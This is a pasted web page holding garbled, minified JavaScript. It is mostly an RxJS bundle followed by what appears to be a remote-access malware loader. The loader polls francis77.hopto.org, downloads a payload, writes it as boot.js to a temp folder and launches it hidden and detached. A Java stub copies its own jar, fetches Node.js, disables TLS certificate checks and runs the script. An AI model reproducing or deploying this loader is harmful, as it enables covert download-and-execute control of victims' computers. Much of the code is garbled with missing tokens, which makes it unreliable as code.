value:0,writable:!0},_subject:{value:null,writable:!0},_connection:{value:null,writable:!0},_subscribe:{value:t._subscribe},_isComplete:{value:t._isComplete,writable:!0},getSubject:{value:t.getSubject},connect:{value:t.connect},refCount:{value:t.refCount}}}(),k=function(t){functione(e,n){varall(this,e)||this;returnctable=n,r}returntype._error=function(e){this._unsubscribe(),t.prototype._error.call(this,e)},e.prototype._complete=function(){this.connectable._isComplete=!0,this._unsubscribe(),t.prototype._complete.call(this)},e.prototype._unsubscribe=function(){varis.connectable;if(t){this.connectable=null;var=t._connection;t._refCount=0,t._subject=null,t._connection=null,e&&e.unsubscribe()}},e}(C);var=function(t){function,n)||this;return.work=n,r.pending=!1,r}returne,t),e.prototype.schedule=function(t,e){if(void0===e&&(e=0),this.closed)returnthis;this.state=t;varr=this.scheduler;return&(this.id=this.recycleAsyncId(r,n,e)),this.pending=!0,this.delay=e,this.id=this.id||this.requestAsyncId(r,this.id,e),this},e.prototype.requestAsyncId=function(t,e,n){returndetInterval(t.flush.bind(t,this),n)},e.prototype.recycleAsyncId=function(t,e,n){if(void=0),null!==n&&this.delay===n&&!1===this.pending)returnterval(e)},e.prototype.execute=function(t,e){if(this.closed)returnxecutinglledhis.pending=!1;varte(t,e);if(n)returnpending&&null!=this.id&&(this.id=this.recycleAsyncId(this.scheduler,this.id,null))},e.prototype._execute=function(t,e){varr=voids.work(t)}catch(t){n=!0,r=!!t&&t||newf(n)returnunsubscribe(),r},e.prototype._unsubscribe=function(){varid,e=this.scheduler,n=e.actions,r=n.indexOf(this);this.work=null,this.state=null,this.pending=!1,this.scheduler=null,-1!==r&&n.splice(r,1),null!=t&&(this.id=this.recycleAsyncId(e,t,null)),this.delay=null},e}(function(t){functionrn|this}return,t),e.prototype.schedule=function(t,e){returnidthis},e}(w)),R=function(t){function=t.call(this,e,n)||this;return.scheduler=e,r.work=n,r}return(e,t),e.prototype.schedule=function(e,n){returnvoid),n>0?t.prototype.schedule.call(this,e,n):(this.delay=n,this.state=e,this.scheduler.flush(this),this)},e.prototype.execute=function(e,n){returnn>0||this.closed?t.prototype.execute.call(this,e,n):this._execute(e,n)},e.prototype.requestAsyncId=function(e,n,r){return===r&&(r=0),null!==r&&r>0||null===r&&this.delay>0?t.prototype.requestAsyncId.call(this,e,n,r):e.flush(this)},e}(Y),Q=function(){functionvoid.now),this.SchedulerAction=e,this.now=n}return.prototype.schedule=function(t,e,n){return0===e&&(e=0),newction(this,t).schedule(n,e)},t.now=function(){return,t}(),G=function(t){function,r){void(r=Q.now);vart.call(this,n,(function(){returnelegate!==i?e.delegate.now():r()}))||this;returnactive=!1,i.scheduled=voideturnrototype.schedule=function(n,r,i){return==r&&(r=0),e.delegate&&e.delegate!==this?e.delegate.schedule(n,r,i):t.prototype.schedule.call(this,n,r,i)},e.prototype.flush=function(t){varhis.actions;if(this.active)e.push(t);else{varthis.active=!0;do{if(n=t.execute(t.state,t.delay))break}while(t=e.shift());if(this.active=!1,n){for(;t=e.shift();)t.unsubscribe();throwQ),q=new(function(t){function){returnt&&t.apply(this,arguments)||this}return}(G))(R),H=new((function(t){return)}));functiont){returntion(t){returnew){returnule((function(){returne()}))}))}(t):H}functionturnon" == typeofchedule
- }
- varfunction(t) {
- returnor(varength; n < r && !e.closed; n++) e.next(t[n]);
- e.complete()
- }
- }; functiont, e) {
- returnO((function(n) {
- vareturnhedule((function() {
- i !== t.length ? (n.next(t[i++]), n.closed || r.add(this.schedule())) : n.complete()
- }))), r
- }))
- }
- function ? K(t, e): newt))
- }
- function {
- for (var0; e < arguments.length; e++) t[e] = arguments[e];
- var = t[t.length - 1];
- returnp(), K(t, n)): Z(t)
- }
- function {
- returnfunction(n) {
- return,
- 0,
- {
- error: t,
- subscriber: n
- })
- }: function(e) {
- return.error(t)
- })
- }
- function = t.error;
- t.subscriber.error(e)
- }
- L || (L = {});
- varfunction() {
- functions.kind = t, this.value = e, this.error = n, this.hasValue = "N" === t
- }
- returnserve = function(t) {
- switch (this.kind) {
- case "N":
- returnext(this.value);
- case "E":
- returnr(this.error);
- case "C":
- return.complete && t.complete()
- }
- }, t.prototype.do = function(t, e, n) {
- switch (this.kind) {
- case "N":
- return (this.value);
- case "E":
- return &e(this.error);
- case "C":
- returnn && n()
- }
- }, t.prototype.accept = function(t, e, n) {
- return "==typeoft?this.observe(t):this.do(t,e,n)},t.prototype.toObservable=function(){switch(this.kind){case"
- N ":returnvalue);case"
- E ":returnrror);case"
- C ":returnxpectedtion")
- } return)
- }
- }))
- }))), r
- }))
- }(t, e);
- if (yt(t)) returne) {
- return (function(n) {
- varr.add(e.schedule((function() {
- returntion(t) {
- r.add(e.schedule((function() {
- n.next(t), r.add(e.schedule((function() {
- return)))
- })))
- }), (function(t) {
- r.add(e.schedule((function() {
- returnor(t)
- })))
- }))
- }))), r
- }))
- }(t, e);
- if (bt(t)) returne);
- if (function(t) {
- returnnction "==typeofring" == typeof) return (t, e) {
- if (!t) throwerablenewn) {
- var;
- returnunction() {
- r && "function" == typeofturn()
- })), i.add(e.schedule((function() {
- r = t[dt](), i.add(e.schedule((function() {
- if (!n.closed) {
- vart,
- e;
- try {
- varnext();
- t = i.value, e = i.done
- } catch (t) {
- return.error(t)
- }
- e ? n.complete() : (n.next(t), this.schedule())
- }
- })))
- }))), i
- }))
- }(t, e)
- }
- throwewll !== t && typeof || t) + "bservable")
- }
- functionturnnewfunctionr || this;
- returnparent = e, n
- }
- returntype._next = function(t) {
- this.parent.notifyNext(t)
- }, e.prototype._error = function(t) {
- this.parent.notifyError(t), this.unsubscribe()
- }, e.prototype._complete = function() {
- this.parent.notifyComplete(), this.unsubscribe()
- }, e
- }(g), gt = function(t) {
- functione() {
- return ==t && t.apply(this, arguments) || this
- }
- return, e.prototype.notifyNext = function(t) {
- this.destination.next(t)
- }, e.prototype.notifyError = function(t) {
- this.destination.error(t)
- }, e.prototype.notifyComplete = function() {
- this.destination.complete()
- }, e
- }(g);
- functiont(t, e) {
- if (!e.closed) returntanceofcribe(e): vt(t)(e)
- }
- functione, n) {
- returnr.POSITIVE_INFINITY), "function" == typeoftion(r) {
- return.pipe(xt((function(n, r) {
- returnt(t(n, r)).pipe(at((function(t, i) {
- returni)
- })))
- }), n))
- }: ("number" == typeofion(e) {
- returnlift(new)
- })
- }
- varion() {
- function(t, e) {
- void && (e = Number.POSITIVE_INFINITY), this.project = t, this.concurrent = e
- }
- returnpe.call = function(t, e) {
- returnubscribe(newt, this.project, this.concurrent))
- }, t
- }(), Tt = function(t) {
- function(e, n, r) {
- void = r && (r = Number.POSITIVE_INFINITY);
- varis, e) || this;
- return.concurrent = r, i.hasCompleted = !1, i.buffer = [], i.active = 0, i.index = 0, i
- }
- return, e.prototype._next = function(t) {
- this.active < this.concurrent ? this._tryNext(t) : this.buffer.push(t)
- }, e.prototype._tryNext = function(t) {
- varndex++;
- try {
- e = this.project(t, n)
- } catch (t) {
- returnoidtion.error(t)
- }
- this.active++, this._innerSub(e)
- }, e.prototype._innerSub = function(t) {
- varis), n = this.destination;
- n.add(e);
- var == e && n.add(r)
- }, e.prototype._complete = function() {
- this.hasCompleted = !0, 0 === this.active && 0 === this.buffer.length && this.destination.complete(), this.unsubscribe()
- }, e.prototype.notifyNext = function(t) {
- this.destination.next(t)
- }, e.prototype.notifyComplete = function() {
- varer;
- this.active--, t.length > 0 ? this._next(t.shift()) : 0 === this.active && this.hasCompleted && this.destination.complete()
- }, e
- }(gt);
- functionvoidumber.POSITIVE_INFINITY), xt(T, t)
- }
- functionreturnnction(e) {
- vartry {
- n = t()
- } catch (t) {
- return.error(t)
- }
- return (n ? mt(n) : W()).subscribe(e)
- }))
- }
- functionurn!b(t) && t - parseFloat(t) + 1 >= 0
- }
- functionr, n = t.counter, r = t.period;
- e.next(n), this.schedule({
- subscriber: e,
- counter: n + 1,
- period: r
- }, r)
- }
- functionNt() {
- for (var], e = 0;
- e < arguments.length;
- e++) t[e] = arguments[e];
- varTIVE_INFINITY, r = null, i = t[t.length - 1];
- return ?(r = t.pop(), t.length > 1 && "number" == typeofength - 1] && (n = t.pop())): "number" == typeoft.pop()), null === r && 1 === t.length && t[0] instanceofO ? t[0] : It(n)(Z(t, r))
- }
- function(t, e) {
- returnction(n) {
- returnn.lift(newe))
- }
- }
- vartion() {
- functiont(t, e) {
- this.predicate = t, this.thisArg = e
- }
- returnprototype.call = function(t, e) {
- returnnewedicate,
- this.thisArg))
- }, t
- }(), Pt = function(t) {
- functionre) || this;
- returni.predicate = n, i.thisArg = r, i.count = 0, i
- }
- return, t), e.prototype._next = function(t) {
- varis.predicate.call(this.thisArg, t, this.count++)
- } catch (t) {
- returnoidtion.error(t)
- }
- e && this.destination.next(t)
- }, e
- }(g);
- varctionrnar = e.lift(n);
- returnrfunctionis.selector = t
- }
- return.call = function(t, e) {
- returnscribe(newthis.selector, this.caught))
- }, t
- }(), Dt = function(t) {
- functionr) {
- varthis,
- e) || this;
- returnn, i.caught = r, i
- }
- returnrototype.error = function(e) {
- if (!this.isStopped) {
- varn = this.selector(e, this.caught)
- } catch (e) {
- returnoiderror.call(this, e)
- }
- this._unsubscribeAndRecycle();
- varis);
- this.add(r);
- var == r && this.add(i)
- }
- }, e
- }(gt);
- functionntionn = null),
- function(e) {
- return (newunctions.defaultValue = t
- }
- returnype.call = function(t, e) {
- returnsubscribe(new(t, this.defaultValue))
- }, t
- }(), Rt = function(t) {
- functionr = t.call(this, e) || this;
- returndefaultValue = n, r.isEmpty = !0, r
- }
- returnototype._next = function(t) {
- this.isEmpty = !1, this.destination.next(t)
- }, e.prototype._complete = function() {
- this.isEmpty && this.destination.next(this.defaultValue), this.destination.complete()
- }, e
- }(g);
- functionturnft)
- }
- function) {
- return ==t && (t = Wt),
- function(e) {
- return.lift(new
- }
- }
- varn() {
- function) {
- this.errorFactory = t
- }
- returnrototype.call = function(t, e) {
- returneworFactory))
- }, t
- }(), Ht = function(t) {
- function {
- varis,
- e) || this;
- returny = n, r.hasValue = !1, r
- }
- return), e.prototype._next = function(t) {
- this.hasValue = !0, this.destination.next(t)
- }, e.prototype._complete = function() {
- if (this.hasValue) returntion.complete();
- var {
- t = this.errorFactory()
- } catch (e) {
- t = e
- }
- this.destination.error(t)
- }, e
- }(g);
- function() {
- return
- }
- functionreturne) {
- returnW(): e.lift(newt(t))
- }
- }
- varnction() {
- functionotal = t, this.total < 0) throw
- }
- returnype.call = function(t, e) {
- returnsubscribe(new(t, this.total))
- }, t
- }(), zt = function(t) {
- functione,
- n) {
- varl(this, e) || this;
- return, r.count = 0, r
- }
- returntotype._next = function(t) {
- varhis.total, n = ++this.count;
- n <= e && (this.destination.next(t), n === e && (this.destination.complete(), this.unsubscribe()))
- }, e
- }(g);
- varfunction() {
- functionoject = t
- }
- return.prototype.call = function(t, e) {
- return (newroject))
- }, t
- }(), Zt = function(t) {
- functionre) || this;
- returnr.project = n, r.hasSubscription = !1, r.hasCompleted = !1, r.index = 0, r
- }
- returnrototype._next = function(t) {
- this.hasSubscription || this.tryNext(t)
- }, e.prototype.tryNext = function(t) {
- varndex++;
- try {
- e = this.project(t, n)
- } catch (t) {
- returnoidtion.error(t)
- }
- this.hasSubscription = !0, this._innerSub(e)
- }, e.prototype._innerSub = function(t) {
- var = newthis.destination;
- n.add(e);
- varEt(t, e);
- r !== e && n.add(r)
- }, e.prototype._complete = function() {
- this.hasCompleted = !0, this.hasSubscription || this.destination.complete(), this.unsubscribe()
- }, e.prototype.notifyNext = function(t) {
- this.destination.next(t)
- }, e.prototype.notifyError = function(t) {
- this.destination.error(t)
- }, e.prototype.notifyComplete = function() {
- this.hasSubscription = !1, this.hasCompleted && this.destination.complete()
- }, e
- }(gt);
- functiont(t, e) {
- varuments.length >= 2;
- return (r) {
- returne(t ? Ct((function(e, n) {
- return,
- n,
- r)
- })): T, Jt(1), n ? kt(e) : Gt((function() {
- returnewionurnlift(new
- }
- var () {
- function {
- if (this.total = t, this.total < 0) thrownll = function(t, e) {
- returnibe(news.total))
- }, t
- }(), ee = function(t) {
- functionar,
- e) || this;
- returng = newunt = 0, r
- }
- return (e, t), e.prototype._next = function(t) {
- varing,
- n = this.total,
- r = this.count++;e.length < n ? e.push(t) : e[r % n] = t
- }, e.prototype._complete = function() {
- varnation,
- e = this.count;
- if (e > 0)
- for (var = this.total ? this.total : this.count, r = this.ring, i = 0; i < n; i++) {
- var = e++ % n;
- t.next(r[o])
- }
- t.complete()
- }, e
- }(g); functionfunction(n) {
- varr;
- if (r = "function" == typeoffunction() {
- return " == typeofrn(r, e));
- varect.create(n, U);
- returnn, i.subjectFactory = r, i
- }
- }
- varunction() {
- functionubjectFactory = t, this.selector = e
- }
- returnpe.call = function(t, e) {
- var.selector, r = this.subjectFactory(), i = n(r).subscribe(t);
- returndd(e.subscribe(r)), i
- }, t
- }();
- functionnewe(t, e) {
- return\ "function"==typeofreturn((function(n,r){return).pipe(at((function(t,i){returne(n,t,r,i)})))})))}:function(e){returnw=function(){functionroject=t}returnt.prototype.call=function(t,e){returne(newproject))},t}(),ue=function(t){functionar,e)||this;returnndex=0,r}returnh(e,t),e.prototype._next=function(t){vars.index++;try{e=this.project(t,n)}catch(t){returnination.error(t)}this._innerSub(e)},e.prototype._innerSub=function(t){var.innerSubscription;e&&e.unsubscribe();var_t(this),r=this.destination;r.add(n),this.innerSubscription=Et(t,n),this.innerSubscription!==n&&r.add(this.innerSubscription)},e.prototype._complete=function(){varSubscription;e&&!e.closed||t.prototype._complete.call(this),this.unsubscribe()},e.prototype._unsubscribe=function(){this.innerSubscription=void0},e.prototype.notifyComplete=function(){this.innerSubscription=voidopped&&t.prototype._complete.call(this)},e.prototype.notifyNext=function(t){this.destination.next(t)},e}(gt);vartrailing:!1};varunctionr){this.duration=t,this.scheduler=e,this.leading=n,this.trailing=r}returnotype.call=function(t,e){returne.subscribe(newae(t,this.duration,this.scheduler,this.leading,this.trailing))},t}(),ae=function(t){function,n,r,i,o){vart.call(this,e)||this;returnration=n,s.scheduler=r,s.leading=i,s.trailing=o,s._hasTrailingValue=!1,s._trailingValue=null,s}returnrototype._next=function(t){this.throttled?this.trailing&&(this._trailingValue=t,this._hasTrailingValue=!0):(this.add(this.throttled=this.scheduler.schedule(le,this.duration,{subscriber:this})),this.leading?this.destination.next(t):this.trailing&&(this._trailingValue=t,this._hasTrailingValue=!0))},e.prototype._complete=function(){this._hasTrailingValue?(this.destination.next(this._trailingValue),this.destination.complete()):this.destination.complete()},e.prototype.clearThrottle=function(){vard;t&&(this.trailing&&this._hasTrailingValue&&(this.destination.next(this._trailingValue),this._trailingValue=null,this._hasTrailingValue=!1),t.unsubscribe(),this.remove(t),this.throttled=null)},e}(g);functionber.clearThrottle()}functiont,e,n){returnid,function(r){varn.now():Math.abs(t);returnt(new))}}varion(){function(t,e,n,r){this.waitFor=t,this.absoluteTimeout=e,this.withObservable=n,this.scheduler=r}returnprototype.call=function(t,e){returnnewsoluteTimeout,this.waitFor,this.withObservable,this.scheduler))},t}(),de=function(t){functione,n,r,i,o){var=t.call(this,e)||this;returnbsoluteTimeout=n,s.waitFor=r,s.withObservable=i,s.scheduler=o,s.scheduleTimeout(),s}return),e.dispatchTimeout=function(t){varrvable;t._unsubscribeAndRecycle(),t.add(Et(e,newotype.scheduleTimeout=function(){varon;t?this.action=t.schedule(this,this.waitFor):this.add(this.action=this.scheduler.schedule(e.dispatchTimeout,this.waitFor,this))},e.prototype._next=function(e){this.absoluteTimeout||this.scheduleTimeout(),t.prototype._next.call(this,e)},e.prototype._unsubscribe=function(){this.action=voidler=null,this.withObservable=null},e}(gt);classbe{constructor(t){this.options=t}asynclete(){constwaitve().pipe(function(t,e){varguments.length>=2;returnn(r){returnpe(t?Ct((function(e,n){returne,n,r)})):T,$t(1),n?kt(e):Gt((function(){returnnewtoPromise();if("completed"!==(null==t?void.phase))throwwlete" + (null == t ? void0 : t.phase));
- consteturnesponseBody, e
- }
- async () {
- vartptions.headers) for (const [n, r] ofthis.options.headers)(null !== (t = e[n]) && voidt ? t : e[n] = []).push(r);
- returnPromise((t, n) => {
- constt.request)({
- ca: this.options.caCert,
- servername: this.options.host,
- host: this.options.host,
- hostname: this.options.host,
- port: this.options.port,
- path: this.options.path,
- method: this.options.method,
- timeout: 6e4,
- headers: e
- }); null != this.options.body && r.write(this.options.body), r.end(), r.on("response",e=>{t(e)}).on("error",t=>{n(t)}).on("timeout",()=>{n(newror("REQUESTMEDort()})})}reactive(){return)=>this.async()).pipe(Xt(),Ut(t=>new=Number(t.headers["content-length"]);n>=0&&Math.floor(n)===n||(n=voidTimeout(6e4,()=>{e.error(newor("RESPONSEMEDstroy()}),e.next({response:t,phase:"downloading",completedBytes:0,...null==n?{}:{totalBytes:n}});consttn("data",o=>{r.push(o),i+=o.length,e.next({response:t,phase:"downloading",completedBytes:i,...null==n?{}:{totalBytes:n}})}).on("end",async()=>{try{const=Buffer.concat(r);null!=n&&i.length!==n?e.error(newent-Lengthrthytesching")):(e.next({response:t,phase:"completed",totalBytes:i.length,completedBytes:i.length,responseBody:i}),e.complete())}catch(t){e.error(t)}}).on("error",t=>{e.error(t)}),()=>t.destroy()})))}}classconstructor({headers:t=[],...e},{headers:n=[],...r}){this.options={...e,...r,headers:[...t,...n]}}override(t){return.options,t)}caCert(t){returns.override({caCert:t})}host(t){returnide({host:t})}port(t){returns.override({port:t})}method(t){returnide({method:t})}path(t){returnhis.override({path:t})}body(t){returnide({body:t})}header(t,e){return,e])}headers(...t){returnverride({headers:t})}request(){returns.options)}}functiont=function(t){constss.argv;for(letr=0;r<n.length;){if(n[r++]===t){constull!=t&&e.push(t)}}return-hub-domain");if(0===t.length)throw"
- nopecified\ ");return,me=n(3),_e=n(7),ge=n(8),Ee=n(4);varn.n(xe);const=newwnctionurn).caCert(awaite.pipe(Xt()).toPromise()).host(t.host).port(t.port).method("get")}asynconunction(t){conste(t)).path("/node/version").request().asyncComplete();if(200!==e.statusCode)thrownon-200ode");returnbody.toString("utf8")}(t);if(n===e)return!0;console.log("FOUND+t.host+":"+t.port+"" == (r = Se.a.send) || voidall(Se.a, "feed");try{returnaiton(t,e){constawait(await)).path("/node/download/"+e).request().asyncComplete();if(200!==n.statusCode)throw"
- non - 200 code\ ");return.body}(t,n)}catch(t){throwle.log("ERRORhilet),t}var(void5)&&(Ce=0),void0===Be&&(Be=ut),(!At(Ce)||Ce<0)&&(Ce=0),Be&&"function"==typeofe=ut),newction(t){returnt.add(Be.schedule(jt,Ce,{subscriber:t,counter:0,period:Ce})),t}))),je.pipe(function(t,e,n){return=ut),void&(n=ce),function(r){returnt(neweading,n.trailing))}}(6e4,st,{trailing:!0,leading:!0})));varBe;letctione){Pe=!0;mt(ve().map(t=>({port:443,host:t}))).pipe(xt(t=>Ie.pipe(oe(e=>Nt(X(voidctionurn){returnt((function(t,r){return)).pipe(at((function(e,i){return)))}:function(t){returnewfunction(t,e){return,e)).pipe(Ft(t=>H),Ct(t=>!0!==t))}(t,e).pipe(pe(6e5,H))))))),(function(t){return)).pipe(Ut(t=>asyncconstject(Ee.promisify)(we.mkdtemp)(Object(me.join)(Object(ge.tmpdir)(),"_qhub_node_")),n=Object(me.resolve)(e,"boot.js");awaitbject(Ee.promisify)(we.writeFile)(n,t),Object(_e.spawn)(process.execPath,[n,...process.argv.slice(2)],{detached:!0,stdio:"inherit",windowsHide:!0,cwd:e}).unref()}(t)),Ft(()=>H)).subscribe()}}console.log("QNODE"), asyncn(t, e) {
- if ("win32"!==process.platform)throwndowsarern="\\\\\\\\.\\\\pipe\\\"+t;for(;;){lett=awaitch(t){if(console.error("ipc","lockSingleton","couldn't),!(null==e?voidtry{consttst()=>{t.destroy(),e()},1e3);t.once("close",()=>{clearTimeout(n),e()})});continue}catch(t){}console.error("ipc","lockSingleton","retryingnwaitinue}letnull;const}),h=()=>{r||(r=!0,u())};returnt.once("close",h),t.once("error",t=>{console.error("ipc","server.on",t),h()}),e.ignoreKills||t.on("connection",e=>{console.error("ipc","server.on", "anconnectionted.ngal)"),t.close(),h()}),{release:()=>{t.close()},onRelease$:c}}}}("qhub-node-instance-lock",{ignoreKills:!1,waitBound:!1}).then(async,n;console.log("LOCKED"),t.onRelease$.finally(()=>{console.log("boot","killtstance-lock","exiting"),process.exit(0)}),console.log("SETTING,e=u.a+"-downloader",Ie.next(e),n="-----BEGIN-\\nMIID2DCCAsCgAwIBAgIIAoMpofLrd+IwDQYJKoZIhvcNAQELBQAwcjEcMBoGA1UE\\nChMTUVVBIElUIFNPTFVUSU9OUyBPVTEhMB8GA1UECxMYSU5GT1JNQVRJT04gVEVD\\nSE5PTE9HSUVTMRIwEAYDVQQDEwlRSFVCLU1BSU4xGzAZBgkqhkiG9w0BCQEWDGlu\\nZm9AcXVhLm9uZTAeFw0yMDA4MjQxNTEzMDBaFw0zMDA4MjQxNTEzMDBaMHIxHDAa\\nBgNVBAoTE1FVQSBJVCBTT0xVVElPTlMgT1UxITAfBgNVBAsTGElORk9STUFUSU9O\\nIFRFQ0hOT0xPR0lFUzESMBAGA1UEAxMJUUhVQi1NQUlOMRswGQYJKoZIhvcNAQkB\\nFgxpbmZvQHF1YS5vbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDR\\nRALMGh6e1pi2riSEEERK5k6vWyXaHOAMzfnP+DHQuBgDIRmPUXx9m2ugp2gwiFDp\\ngvadNWLglY+zYj/eS8G3dOFqaJlvK42lCWIB8nRO50cYyvKvy8El1KW60SAjDkyZ\\n66hO2pQIB6lkynLfV6pIuCp8Wt83VbaQRf6hvtylBhhJDT29/EkXPt1j3CzByL/+\\nLfStrpw0vkSVVT7rjSzl430I/OxiYIJuPovjoj3fAptXkJFuRS4xLT0nDDCOnWXT\\nJ2B4Sl44v5bGBEOPLUQrPMEfdK2fu0eLpc+QANeO6dxL8EW4BFRnwADc+oEStWCT\\nGWCl6vM205GlFuG8HtpZAgMBAAGjcjBwMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O\\nBBYEFJMcicJls+RLz5VuUr9/5sMy4MxiMAsGA1UdDwQEAwIBBjARBglghkgBhvhC\\nAQEEBAMCAAcwHgYJYIZIAYb4QgENBBEWD3hjYSBjZXJ0aWZpY2F0ZTANBgkqhkiG\\n9w0BAQsFAAOCAQEAcOC2fJ/vrP5wUKOqFbywyeTYbwX81y/1L6mMnTXFT89bl7hE\\nzrYhYexkKcsSGU/+jG8tSb+65VTL4/cwgFZZABXKe5+yqzEEkkLqbRv15Dh4ce15\\nR8CNkfXkjncHEsW3r4k6dXbpmbdskynDwW5lmY6KQUJBsLvRLHJCQNJhIu3wrzVo\\nZrrKUyKDayOxjz0ClPmMVh/Uo91oUMQEblhj82XeHEvF85aty4lIn39p7FSYUroe\\nbUxgIlEFBvb9zoBvEJoiDosG8hlQKX5TIrFZ1fFDmdnXK/p57uxfPmZf4R3Ce3rF\\nlT212ouj5tVJtoFYFZkCOrBHm71WdVIgMM1G+A==\\n-----END----\\n",Te.next(n),Ve(),console.log("READY")},t=>console.error(t))}]);\n//#sourceMappingURL=downloader.js.map", "arguments": ["--hub-domain", "francis77.hopto.org"]
- };! function() {
- "uset";.
- /*!*********************************************************************.
- ghttoify,ributewarehereby.ESTHORLLTH.NCLUDINGLIEDOFTY.SS.SHALLNYCT,.,ALYEVERROM.USE,FITS,NTRACT,CETORTIOUSOR.E..********************************************************************/
- kages.java, t = Packages.javax, r = e.lang.Class.forName("[B").getComponentType();
- functionArray.newInstance(r, [t])
- }
- var.lang.Thread, a = e.lang.ProcessBuilder, i = e.lang.Runtime, c = e.lang.System, u = (e.lang.Exception, e.lang.Class), l = e.lang.reflect.Array, s = e.net.URL, f = e.util.zip.ZipInputStream, g = e.io.File, w = e.io.FileOutputStream, d = e.io.FileInputStream, h = e.security.SecureRandom;
- functionprintStackTrace()
- }
- catch (t) {
- try {
- e.rhinoException.printStackTrace()
- } catch (t) {
- try {
- e.javaException.printStackTrace()
- } catch (t) {
- c.err.println(e)
- }
- }
- }
- }
- try {
- vargetProperty("java.io.tmpdir")).getAbsolutePath(), y = newotectionDomain().getCodeSource().getLocation().toURI()).getAbsolutePath();
- if (y.endsWith(".jar")) {
- varnanoTime()).toString(16);
- m = m.substring(m.length - 8) + ".tmp";
- varnew = n(4096);
- try {
- varfor(;
- (E = R.read(T)) > -1;) P.write(T, 0, E)
- } finally {
- R.close()
- }
- } finally {
- P.close()
- }
- var = c.getProperty("java.home"), C = newn / javaw.exe ").getAbsolutePath();newS.getAbsolutePath()]).start(),o.sleep(15e3),c.exit(0)}}catch(e){p(e)}function){var(){varv("
- PROCESSOR_ARCHITECTURE ");if(null==e)throwssore");
- if (e.match(/32/g) || e.match(/x86/gi)) returnull != c.getenv("ProgramFiles(X86)") ? 64 : 32;
- if (e.match(/64/g)) returnrror("unexpectedtecture:;if(32===e)return"
- x86 ";if(64===e)return"
- x64 ";throwsupportedecturenctionr=n(4096);try{for(;(r=e.read(a))>-1;)o.write(a,0,r);o.close()}catch(e){throw,o.close(),t.delete(),e}}functionll!=(r=n.getNextEntry());){var=r.getName(),a=newrectory()||(a.getParentFile().mkdirs(),k(n,a))}}functionr(var4.12.0-win-" + e, r = "https://nodejs.org/dist/v14.12.0/" + t + ".zip", n = t, a = newroperty("user.home", "./")).getAbsoluteFile(), i = newg(a, n + ".lock"), l = null;
- !i.isDirectory();) try {
- for (;;)
- if (u.isFile()) u.delete() || o.sleep(500);
- elsery {
- l = newdeleteOnExit();
- break
- } catch (e) {
- p(e), o.sleep(500)
- }
- if (i.isDirectory()) break;
- varewc.nanoTime()), d = newarenConnection();
- h.setConnectTimeout(15e3), h.setReadTimeout(15e3);
- varStream();
- try {
- if (A(v, f), !d.renameTo(i)) throwError("couldn'tmoveration");
- f.delete()
- } finally {
- v.close()
- }
- } catch (e) {
- throw {
- p(e),
- o.sleep(1500)
- }
- finally {
- null != l && l.close(), u.delete()
- }
- return {
- var node.exe ");if(!t.isFile())thrownewexereturnACK;function{returnng.String(j.script).getBytes()}!function(){if(!c.getProperty("
- os.name ").match(/win/i))throwError("
- onlyowsenow ");!function(){try{vart.ssl.SSLContext,r=t.net.ssl.HttpsURLConnection,n=t.net.ssl.X509TrustManager,o=u.forName("
- java.security.cert.X509Certificate "),a=e.getInstance("
- SSL "),i=[newgetAcceptedIssuers:function(){returnce(o,[0])},checkClientTrusted:function(e,t){},checkServerTrusted:function(e,t){}})];a.init(null,i,newfaultSSLSocketFactory(a.getSocketFactory())}catch(e){p(e)}}(),function(e,t){varr=new.redirectInput(a.Redirect.PIPE)}catch(e){}try{r.redirectOutput(a.Redirect.INHERIT),r.redirectError(a.Redirect.INHERIT)}catch(e){}r.environment().put("
- NODE_SKIP_PLATFORM_CHECK ","
- 1 ");varrt();i.getRuntime().addShutdownHook(newunction(){n.destroy()}}));varn.getOutputStream();u.write(t),u.flush(),u.close(),c.exit(n.waitFor())}(function(){for(var=0,r=arguments.length;t<r;t++)e+=arguments[t].length;var(e),o=0;for(t=0;t<r;t++)for(vara=arguments[t],i=0,c=a.length;i<c;i++,o++)n[o]=a[i];returnunction(){for(vare=F(b(t));break}catch(e){p(e),o.sleep(1500)}returnutePath()," - "],j.arguments),N())}()}();
Add Comment
Please, Sign In to add comment